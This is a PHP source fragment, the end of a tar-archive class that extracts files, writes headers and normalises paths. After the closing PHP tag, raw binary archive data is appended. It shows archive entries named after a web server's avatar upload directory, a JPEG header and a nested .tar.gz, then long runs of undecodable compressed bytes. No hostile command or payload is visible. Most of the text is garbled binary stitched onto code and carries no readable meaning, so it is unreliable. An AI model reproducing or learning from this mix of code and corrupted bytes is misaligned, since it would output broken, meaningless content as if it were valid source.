				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�g*

4yd0ui/674dc9a7e6beb.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/674dc9a7e6beb.jpg000075500000001567000000000000020142 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!J��YY4yd0ui/4yd0ui.tar.gznu�[�����	<���[�.�"��}߳��1��ؗ���UBHZ�RR�"k�]E��$!;!�{ό��.��|���~��]�=�\���9׹�uRҮRn`���,,���!�#�w���c:�H?��"[��Ғ" ��e>����0�����F

{�}`�.`Woa�{@����¾�.0��08(	%,*",�k{�40�*-)��t��������DD$��[����ޟCx�u5u4�����x?�)��j���ʁ<��|!�Q!�?

���j�t�5�@2"� 7�;�����aPt0��~<5<""b��$��Ĥ�$dG()��)���R9���|���	�!�
b`gb�����`�U�S�� �'%%� �����ceb����/�I���������	���������>�j�' <p�������8�G�OHHp�����p ��AVQ"Z01���ȋ�$�j��v�q�� �HɎ��g������Z��������������������+�,O�
�{&���R.���_�ȼ��_p���;���T<|������嫦��7o����4�y��������յ�����?�E
�Ep��b�\���YE�hTL��~�lb�$GT/�ޫ!e7�;��$;�!1�9�
+ٿ,�$َ`�r��Q��GH������<�u��������K������>�}v)i��������+��U��������?��i/����������}�������������zHqW!_O_��
	y��o�{�_JT\L��OTDL�����%��B8�l
9*��95}˹rP��E�Ɉ{z%��5U��Z�;��sL��r�+:02.���ׄ}�����)�D|�L�TD���L��K��Tg_Q�Q⼤�AC
���6KgQʿ�,�������&2ik�=g���Le��2�h|�����SS#����~~&<��D�n_M�:������J1�c�v�d�zQp�0��d�w���ϵ������m�1�q�v��M�6-O�&ݒV��ET��Qp
�U��K!�w�%��Dx5{��ń���%���S�Z9�f�h[c�h[�;9KШ�~���|�t�Bԧ�o<�KT��O�!��!������ܡ5�~���������6�</��@:�%��Q�u�Ξ���샱����d��9?U���&�F*IP۹.�0��:���W�Nj�z�Z���/v���9�'Y����}�U�N��SC#�Gc{�5�,k�/d�!�\��c�a�y���x�v�c��B�y�z��Ȣ�oD��h�7�kw���d��.s���F��������l^��G�/�����J����v-ã� V���X�E�;��-��]�E)����ߩ^>��Lx�����%���փ��<I�ڟ���dT[��f\��s5�~����tr��K��W��
=�%�z��R#�X��-*I�\N�]�����J���Oq
!�[��=%n��f�2,/�P0(�B<(��2r�u;��c�Hk�?x���fX��|�l
U�u/D��Q�c���?|�sFS�v�,�����o0�y^��OТP��ې1J���e0�Me?!�+J�[+���#q�YK�<������I2Nxq��<7@����9;�*��0
}x�E��[����H{�`�Q��Is�k3jRRERң�s�j��4��Ysv��U�J����N�|�m�O�` p�CJ���v)���䎶�a�|wY�+�����J>�.�)�4��1;l�h<�mH��G��;;N���
�n��L�B#�,N{��S7���ȶ(M���'��p���3�ʌ7�)�/��	S�� d3-�I�<&$�� ON�1TI�:�����dh]2�]{��C�y����ɞ�#/Y�W�Yƕ點��^i?��}
�]��)B����!��Dsv���G	�-'�V2ku&)�.�28�,�CjG9)��׼`��-D���E�Lj�A*��R�dIER�?Ά2	�?r9����{�fq�\L_I�|"�����魪���dSr�?��h�Q91'|�,���s��G�Y�W�ݧSZ>y_8��|A�qg���Iģ�q�\1�L[��3J	=��IE�}��w:|����2�gd��R-�̥�J��9x �T=�~U�sab�y�IFV�7��e����9���+��rm�6��S
~:�y#�V�ݽ"v��Y���"G%����nX�n�dyvII<	v����m��=)��֮�|1k�����J�Hn��s6�n_ obEN��)�~xx���KCZ��	F�n^8���sS4��S��I��L������1�X���tQ�ݵQ:q0=3��R��FF�5_�M�x3�KN<{�s��0�j����J�d�{j����Ukx�N��u�} p��7���u��7�*C^G�W�8:}K�!2FO����'kIG7Hc��°�U�R͎V�7��_�&�F�Nr��Q�˽c��57�L2����u`���o�]��7�	Z�P�j�gY6wX��1�$7NPဎ흛Ɨ�j��$;m\C|����ۍ|��c4��S�Xc]�<$�a���:;����/��F� ��Wh�f6.�2�C��,�8Y��J��&P������*w�u�y�I�C��e�?�>x�Dr�r����&�7�/9��1-���AF��cGYb�
��ĸ���}Y��Nj6�i��5�{��͹�.R]�E��ܑc�*EKy�L5����7j��x�B�_L�,�E oT]��n~�1P;��7x��Օ���Q��O{5S�< ���%V�C���W��:�߻IDB�=�l�e|���M�a�K�5y㘱��ol�򣖣*�Q;"�~�R�bY�谺��'���Qj1���I?h���k(�/���T�e���'�.ʭ�j�� K�p�2���BKgh�\3��%t���`�|�}M����.=Ӄs���ʞo���50�,���X���{���
.��o$���9+ba�J��;r'$��ɧx�u��)����F�K��h�Ȓia^Ǜř���=sr�//s�A�%+�ל||��^�evFj��q�������<.%!C��DK��'��n(�D��3����xV���Z�q1��]��^�Y���'�a,*����<eь0V-J6�~�X�~l�D���5R��3��v�54�
zo:>��;�$N�"yC� ��r��Tu�b�f"_|���(�~��^EE�[sc��$AZĂ]Q�����,�b^e]i)����˱�zbmz�GZޥh��:󖛹W�}��K��E�Z��(gX���e�~� �6 �*���Z��k[��#R�('��>/�n�)����}��\L��8ܔ`]X��/a��v�G��"��>��sӌ��E������Z6=�v��yĤ�fA��8������8��g�ot�|L+q�|��G�(�2�tM9�|���r�I���V�f����|[A�L�����y�R����0��LY�2�#Ͼi��>�Tu_��O�J��5�<�5�&�)�={��ŵɸU��[j]F��f�:	��N��tB�K�Z�Q��=�W��3o�}��Щ��r*NTODb��K���F���.�RF�XS��/�&Wu�ڑ&����]x���Q5؄sD���t��΋�=��X��U�d�ZY�^z[�'�P$��z���Qn0�� �Aٿ�G/���K֏���5��V���/�&�?��=c��)���_��E(�D4�]�G͑�k�V���Q8�ƞ�[�V�\�TV��r�]&�v!,��{�+��!J��h��a��7

�k�=T������mz��,�҄ʽJ���rG�'�,�ݛ�A0�e|T����ܪ1�Zs=���+
G-�3��b\y�t�i	į��TЩo�r�a�#k����X�\����Ϣld��Q�w�-��6��n��:��^�.ϔ�Wz����5��<'.���iW��s�8�D�!cЗ�'g�oY��ngJ%駈��}m��w��YgL�KO8�q�d,O�Z�h���$A�7��s'�0|�����f�6���+SLdf�rߌD��
�V=Dt��[��>�޲,�~V��m*��Я�@�-�?����d��D��m���!��ҖO��;g{�z����p�ZU�EJ0�VVٗ�0a�MͿIRM�_�"
o:�4�]�@�F否4�O{����n�>����ߪOd87^P�	���g�6(�u{*l��E[/޿��D��(��e�'%%E.(
�o�����n�=}9Q�����'TEa��}=���F��WET~�Z�h6�vhvsd~�Dv��W�z��ˑ6�-#4u�'���ҿx|BG[�f���ቺFj��y�"&���#��!`��>�]61��&�erx�g��@;���'"I�OV����Q׼�pb����:�4Y=gH{Y�0��u^)M�hg|F�Ԃ��j����Y��+9��;�^qd0a1����Mep��\��d����}s�O�ߗǿ���e�t�i-!�c�z9�����a��C7�����:��C�Z���}��z[�k<�u�]ҫ=&V�΋ONz��)k,�*�V����v��n��F��e�%,x�=)��n�.��4Lr�V�u'�c׎Y�F�S�#�&�-Z�1J��.���5\.,�Ld��v��gY1{1RK��Hi��:{^<��@�+� ���&!R��T<�hsՇ�'�>aܘj���1{�XoJ��J��ؒ���cL�|�yD=���\_�C}^��E�M}�����|�Nu2��[1��)�Gv�L��_�V���{����tn�ٟ�)�5;��U�+,8�莽�����E�e.^=�;���(�q�h���l�vz���†~Y�i�"#K�D]b�d�Fd��φ��@ҴG�ۘm���k$�#?�\[N]{+���ݹ�豙F>Rd|LA\ɥ�K�ŊIZE'�+�dt��'A��.L��s>6�?�w�g���"}����t��!w�X��{!ԧj
a�'9��T=?
U���]�}^��L1	o���KGJG��&�$Sd R�(93�G�Y�p���C�i�VB1͐�ԡcno���"#�),3��<�s>��U{�B�n�
A�a�ɱ�>�֤�C�U��58��u�Z�҇8�Ypo�`�ĭ+�x<��R��`���D��j���'�h�I>L�q3���9+4!�t��xɉ���g����͵�f���t��T�ht���6�������j���l�{-�Ť�M�uyM�257��(z�	/�Loƽ�=ѝO�����ِɂ��[?Oh�/Ͼs�8����;��cz���t�5�}iE��Яa}/a���Q�ԍ~�������D�.������P�i�ҍO
hb9Z�?�x�'\��։�4R����g$ͯg��=� ����b�mv�����]�%W�ʰ,i�v4���"��]�!<^�;�C}����=c�y����M��G][��z�G�>���`ir����g�jVA+�ze"ʸ�Nz�7������FH�Y�|����*/���{��ۃ���mD:h��w��p�y��F�
���i}�%,���<P�,��Q����v:L�]�m�����VbHQOY���e�+��ݶ�����ղ�ks-#�#BZ�P΁I��'��_���c~	���g]��N�A��ob��J���s�{lEml�~U��,m��3���eh,���H�s��07����{�_�yq�ɧ$�y+�	��=Mc<��jE��ݪ�7Œ�=i�z��]w>mZ��R>?�'1�\�4��q�ϭ.eC�>��%�TN&8�\��ĝBUЕ���
�r�#�󦙐�bG��!�t�:��kʇ}�x*�I�~�j�5$���ߛ�U�6O�]j�fs���Q�����C&���UZ��A�.'�T��)L��:Ĩ�n4�I53��m����-dx��[|SYT\�H����[�F6/CX����*���@>�s[]�1g>�.u���o���Q�]Ig�F�sf��i�&�GB�<j�7|-m-�?��Dy��b���h���#�蛹n��UJ��tg�Jz����7���Þ ��
H�:7��pCұ?N�Σ>n��糜-�Ug�7�I���r��\��|�.K��xRI�kz�d
�~�ҕZ���������u��䥇ZaM\�s���c��5LN����kUJ���|(-y�=� �qM���O�]醹9q�+�a�^�N]{C���1�Rl�]�x>�1�1z�'Px��I��Z�-�Gjog�?LBEs<����v�	M�N��~�/�k�x��@�(n�UsS�L�N����y��0�#�����*A���{���S���.���|�<bPMfq�)������
���k�UϽ+z��S��W}-32�h&��zWW\�S����`�պ0�T�۟Δ�gg�-�5>t@�Y���k�Y�έ�iKYK���
E�s��όC�=\�¯�~�tT���n��ڸiw�G���SǼ�IW.zJ-^햚�+�"���v��ooq�;������.X�"�Y�Y�M���0��Ԭ}TcM����vסI鈔W�]q!"�v�ʟw�[�޾9�����O}w��/YP��;_.{����̀}z=n@��Z5s��4͋�ޅ�t4䄀�uzd�jo>�Q�e��E�a��'��%���)�1����(�B_�Dzy�e�/M���83�{R|��l梸*y<۵���32�\�ݾsG���5�^:�ݧ����\����0�����b���[M,{?�g����4�~k�HXgQa���̸��AB��+FO��6h�7j턛›LA�a�_g��
��H��MW���l1W��Q�Q<q�#0��@�ۻR��59|S��a9��(觍��k�1�S�|��]g�z��~D'���">�9�ΔD\ �䋩�MJO�`~:�Z�`�2��:��"א�����U��Y����'�����R�_u{��ʓ�7�i�)��<)<\��FHq�AĠ�a�gg,����,����#�W7b��gz�9)����z�&���h#��J�������*��6	�/"�T�c�޼��6��}g��gY�%IY��gV��_$�GN]�N]���d�(L�f���Oj	�����Գ��{Ǡ^|k4��b��L��H����1Lsw��A�͡)WI�w�R8��c"���[�tWH|���ft�YC]-*�-��,�V*>����9�P�
���6��s��Z�Y���%\�r��'��ߖ-S{�z3�z���:��ϱ�?��E��?�h�����y\q�I���S�+�֓������zC�������S�FRՔ)�Tǫo�)K1���ص�I3�Ϲ�ZTO8]\�p:�o�s�pV)/a(�W���y�;�/2�T����<�2I�IjE���ҥ�j���;�
l4�
2+�o©m�%�-ܺ�4x�M�U
�dW���5zK�\��E�d��m��:+	�^2^�������*��?!�ƞ��̤���o�bل��C�`EE���7Srg\����6e�g�{([aw�;6#���?�͝6A,�rP�!I��/��/��1�+[{�(\zOZ��"~��FϋN5��$��[}�N\�=B�(x��k��«(ޯ_��_g�i���]�c�:&�Q��NBrZJlT�b�����*c���a���
�Dee5ѽ<CQ5�m���So�1&�g]v�!O${$�|#�C	���6�ҋ>���ܙR��ܶi�w���$:�[�E�1ؤ�L�z�#�2(�=���0��ŵ�m��TŌ�c���׿�u��noKk�:yJW��92�gc��׽�H�k/�v�2�U*�'�x\��#s�g�ѣu��ƚQ�/;>A��T̯�hnЊ�L֣�b*8bV�Y�" YԴ[M�.�m"��bJ��u�D���I��h.y��%��8�i��Ŧ%M��g
���'đ�6�)�]��|�6ݫ�0����j�\*� �>�J��
������+�6?��+�T������7�U^}�n�{T~the��h�bg�ZX5��ƌ�u�K�w��K�):�h�XW����Er��!<JO�T�m˴����4�y�Ag��,����-Ą�����AtDB��Q�Img��gX�&�y��	9Cb�2���u}��fJ�r@t��������zh���n,�fޚ�>+�!���M	�v��d����^J�g�4���țH�
0�.�2�)�<>mI��L�k��j���Y�A��� ��I���B��ZXc�3�c�;/0�����[�pz9�zY��t�sH.�O�`���{3�\��9����
6�ٝ�z��mz�����x�򅨟�_7d���C�t*��J�I�~�K�e�ø))�����TG�U0�o��3T���
��jPM%?���No����n�#���'������3LW��Y�L8��'�@�y���S܍�
z������u�"FD�4�WD�rntTB�������O]�P���\��~u��ʼw�W�������d�E��%R�Ȝ�2yD��TX�ք�'�4��@U�k�ex����g�/A���,).(�)M�>�j��Y�m\_�����B��O��x��n�_Ƽo��'�X�Ձ���8��_�͋�|�멁W��kF�J�B��-�Uh�w��'�e���x8M�ݤ"�?2�Z3�`z[����&�l^zg�j����G�b��.��	9��A�T7m�[��.ɰ�[\��8q��r�xL�e�C���;����k�5��Y+������Ï��Ԯ�I�(��������ρ��L5��������I��7"�mN���&80*+T��3B:tl9Ÿ�rwAO���6�9���2�'P����r%��Fp����;�4�C´o�>�ʊ>}�)� ��U�����
jб����]ӛ�}D�%"��V�E�]΢^e������w�B���3�çI7־m�^����Q�S�����<�B�d>�Y�j�WSY���9�կ�E�DF��uAgU������OJQ�r�Q�ϵ���4�Cl�6��o�xX������8��`�.��*v��N���w���uh=��fݶ(�IyE�[�ٯ���ؤ}�[�g�sK@�/kV3��Oܶ�F��J��21n���'�Zt�*���J՝.0}}Ӯ��衹�)~�'؁]�5"7g�e<�<�R��q��sb�G��+�ݯ�%z],�2av5kQI*'��7p[�!ڬ��NԟA۞Sb2�zf�m�pa�۞S��?��Nm��q��D�ǹT��;\��}�m!����{�3G>[/eh�L�˽T�p���]�3�N5jE3W���1�4Zw;�W���f
�	Ҽ��ū�^�Ҭ�vd�:��lJ��y��3F.�ч�I4�	Jy���K1P�{Ѵ��h8�¾�'�@~��w���=�Hj���֬G냮_i��l~�jqV\O)nj�*a4SDW}㡄H=�o�Ǒ(��O��o��i;hJ4&�'p�
��D��C;����'����:*��:*ضq�<)������x���Q'_��$��j�{Ә��:U��,�"_�j��#��cd����"��_mN��׭����z����z��T��ݕ53��&7׎�)̥����t_�~��~���w!pvr�k.O��%�g�����\�V��tSxt.��c]l�er~��|�?&G��z�n�1�1%�c-
(�����<K*�2-�T�DTG\b�sIg�0�{d��ʫ}_�������O�'4��Y�����Y�lߧ��*�i�n�7�s��,蛌}g�E�l��eo~�n�r����-8��W�re�<w	���x�Oڢ:�������<����!)J�;���'�E��+B*_e��k�Ƨ�B�#�e*���1K������I������d~�WP�j�����hSh4e�n��R|%�0��a-�*ˬW�o�r�~�E�^f6Գ��:�V�Fa={ii�'��f���v~u��M�+m7�[�+L�o�M_�@w���Eɲų���J��k�B�C�]�QNo�L45�2�c7��{��,�6�$|N_n�]�q_�P��I�oZ����
N���I��-F���7h�$�_��ߴ��<�\Tum����a�k�ùŎ�	CZ����b��:��7�
��l�҃�Ƅ�9
�Ǽ֖��
��u������dJ��.����^-8��{�E�˵>�sbb��4E�}_�}��"](M�S�`t�t�G�M�r�x��{kh����Ay��K��|?��&�7Y^
���c�<�z���&n��.��_��5�ѿ!��6T��~�j�ǧ�F!���۬�I��<�!����[c������+�uƝ�Ͽ!'-���e}�f�_&A7�x�L������:�|:��A�Gs��%HM*u�="^���Kq�YL�'�d����5Ӥ�ncW��:7�?̚�:�Pi��#���IS�X�D>���Y�*-Ҍe\lEݮd|��l;�*䂡r��f�ړ��c��t�9��
��/���E�!MN,M=P*n����+�Q�1��n�u�x���2���4���6�T�d__}��e,���BR�]����&��ċ���/C}9K$��,���qH�‘_]��'x4�:p�!�&L��Æ��*G<��$B���Tr/�'�Ȼ�����c��_��~]�:S������W/M���=�S�m�mpxr>Η=p�16�Ǔ�n��Z�|:���h����*��R,8�8�bܧ��k�0�
��Sm+������o�i�~+LqP�ȾBX:{���y�x�1��Ϸ73�V+3�3vꗋD�4�|Һ�t�p�6��Q��j���E/�ؤâC���s)<��9KHֹ���0+��[��a�FF��o[��^(�	�ݜ��(�x����}��>ȷE)��%��K���k�—�\n���\:���Ҁ%���֙c��'|�jE%g���N���8u���uVj�t	h|%q(��B�������wJ��#aK͊��
҇�6Rmܥ.n���s��Q"l�[`�iH:k2h�R�f����,]w4!ON��9�h`� ���.�p��HR�68����X�H���f�$+
��K��֐��cƴ�8�JS
�e[�4?�	&S2J�h�=�f�|0���
�qc��k����;�`U춒A�
c�;'�GL&�Ͻu���N]EU�RT�;�&���8>ʽ�~���@\��K�l�ح�e�R����%=z����|�M�A�����
!�
�w���}J�-��g��hS�m�� �#�~�')(�Y��*j���x��S	�ɾZQ;p�i��vA��g�q�y��=Omz[K7��{�r䋙�ԑ���GMd��r��ިi�Ody7���g~��L�o������k�&��Q�tH�o,O����]
S58��lz�|i�-(��o����d��8@I���y>���1�h';
�"Q��ԕ||�h|����RmTN�f����ᘨ�^z����ZD۵�ބY�&1��
z���<~!p��X�u�GtS�֨�eg����bT�,@�ϫ�U-wXOe2)XG��]���ރE\V���PUΔ��n����X�D>o��2q�I1�.���)��M��fE�󨂄�r�z��P���]�M0�Kmxaes{���Pq�fƩ�S��@Y���r��\�'�%7�+0i�38���n��"�6<C�r{��ۥ��T�q_P�C��FJM��W�o�Z��I�ޥu,Y����������-�7Ȕ�Q�E�Y�:]~=q'V��9�d!ud��=
LfO�x%��.޿SN�~g�Hq65�jZUUD��#oY�[����I�<	򅒇E��q�rw�;5�F{-�h/�~yj�>��(�bz�����
�{"#�#���$�E�׏z+|[��R��5��	Xe�G�j��[�>͔pm?7S(�r-���SM�o>��}m��l�Ðu�ʛꢆu��y�#:����T�U6ְJ
���w�c�C�Wr�����B�ݣeoF�+�r@X��Mu�-���Ɗ�dl��^�����Wai��C�,/�N?Kk}��[����+z�e�1�
/f*+�[�����c~EV��a�r����a�����GR�}�b|ϤnUw����ۘ�JZ���J�b��Y��;�S~�9J��k��ݖ�^��4k��E�V����z�
9yٛ�6���${j��E�\���u��_��/R�}kL�5>�?��m��E��u�@�Ȼ��¯E��Q����PXڑ���W�t��\�'�C��
$�x�;��;n��ژ,X�f�M���h(M�e%3K��5��&��c��n�nꢭ���M��}�cX���U��>�"�wF������XM�
��J�q|1C4��^���ˊ��]ن��]�Kg��0E$50��󊩝+�/{w*��aָ{&��e�{�"Bщ���ݞ��8�ѿyh���ӳ!d\����pJ8��`T%��L�K��H���1�;c,�n_�!/�T㿆9|f /�t�ޜ���z����'g�va�=�6H��F�ųЋ��ue�9�$��e{H�'���{'ːy�/��5������L$춲T��m���G�S�bð
9'.��ܹK�M��^�1��m�΋1��A9yr���sML56�_s�7��3��*�f�t
�־_Zu�S����[�%�#��o�x(e��G�o`o���I��B�T�<��%zU��#4S ��u>�9�d�X6�?*�N�X��R��/�qƙ�6����lE%��>���Fr�>��b��D<����v=�y���'W]�ɉ�aOz:ܡ�B��Y�c�럳5�f�\��҅�;8
���ρ��f�����h�gt�Ìy�g>
�]����Ol�	�-�~�Ŀode��J�5�M�Ս�}����/�\��Fڀ�$�ot`f�O�J#\l����XY+����H�w����#f�Wb�˻�%Ӵ��lg9b�]����Y��2�u>�O1��u���ؠ-t�Cˊ�x@'�*��65fs�*▨~�Zŧ��ʓ/]Lԝ�Y����d�,�xr��s��BHxv��l�rzÔ�P=i�oIua�W��'�S��wK��f��b�,�`�Ȳ K��d�S��>���+~t�h�S���e�ZE��C���4���B�����2{+��>����L]�
�*�[�F��-T����B��M�0�O���|��D��t��?�%l�\�ϭ�+:�g�o3S'�o�I���r��^���Tqzma�,��Br`�΄�y�]r����_Nv�퓁ך'֐َ���6�:T�^���ƣ�y�0�L��
|�_f���wPl���8�a�LX�J��.o9��l4�y��s)���s����E�R�e�\"����%_ͷ"�,��G��(�J�S�ă��jk�nҟ@�[-�(*�6�o:ySQ�*
8�{E����2��8���t�aht1�M��O��"�[�� �jݡ�����_�\P�
:ի�,zL���h��w<�3��:�]t�A�韻�=�o|Zlx볚:��U|2�}�/OH�s�`�fs85��JwT��1����ᅟ��?һ�I��/w��~���7�	��n~mL�o���YyU2���Pq�s0����g��T�nԃ3	�g�l)�Y�uM�ұ�+8wL����y�@F!d�w�	���tSy�)�;O��J�o�~V���f��T\)���s&��(����t�S��=i�X1�;���n���g׀>3s�e�?�
�+�l��ʬ�@������+�I^�jp���gb�뚶J٧H�^Nv��P6zt�c �Y=~���n*�/�y.�6P�R֔��~�>��޴���Ls�8fM+MĀƥ�&��%��\�e͹"��P(�|6f/��H��>�˳��2���&�sz!�$��e��؍���U�����۔�z.���5��b�A�a$�|���"��~cA��rmS��d�ouSb��<��TfH�~j�<�Y����[�\���Ҳ†���5�"r_yl�W��M��]~�A�9�!���Cxߓbާ��
K�<���V���J��i�P`�&�pR%�Ɯ����5��a�ձ�m�3o�!�'I4��w>>��e�Sz���R�_E����V�0E���iT5���C�8r5=���X1kpU��{o��ne�D.�V��
��*,좲+ե���D�t���ɨ�P��9gN�jR�a���k۾G���Q?��mz^7���Ge����j>�^�,2�j�Ⱥk(��: �]W?�z�R�p֪��W�.���[T�-h�iϯ�	�ʳ���5v
Kb�������<(�<�!u�/O��u]��w=�A֋����V��:�V�0���17�};����%���ߢH��,���$�#�m��ݪ!������tŁ\������1U�cJ�G��k�r����ZT�*="�h�1p�����7m�C�Zi	����)戅jS�d��})�t��륣�'�g���o�G�:�B��58[��|68e,e�.~�%�#�aHe”{߾	
N����z���:|Њ�ɥ楅���n�,&�^����j�]����Y�To�K86��r&����u�
d��~i-��hQ����n�k�f��r־Yª���
�
/����\��D�hL�{�v̉16=N��e��1���C왋�WI���$�����h�+���If�b*��[^���}*�„��6;R2g,�S�ܫX�_�<��
Sd1 �9�N���^]�,�W�Q�j����!?���o�5��!��ߖ�7�]��������}��Y��sZj`���]���b'�5��M?
��^;<�!}�����t!m���cOÞĒL^���[��
2�8^�a�����Q�
3�UA��k��Z{�r�j���ש��v3]�wVl��t��p[p�+���gOӻ��;�
�s)F���/�@
��������@���^�&�8��ë��\����k�3�Ǎ����K�}
6N�;>�Mr��Ɵ�T���6]
��=��:'(���u��p̲��㣅��g�'d|'Kn����|�g�d�t��
�L�ɫ���ůF���jD��f�%�?�M�{i�H4�24ty& ��,kC6�_K���h���L���
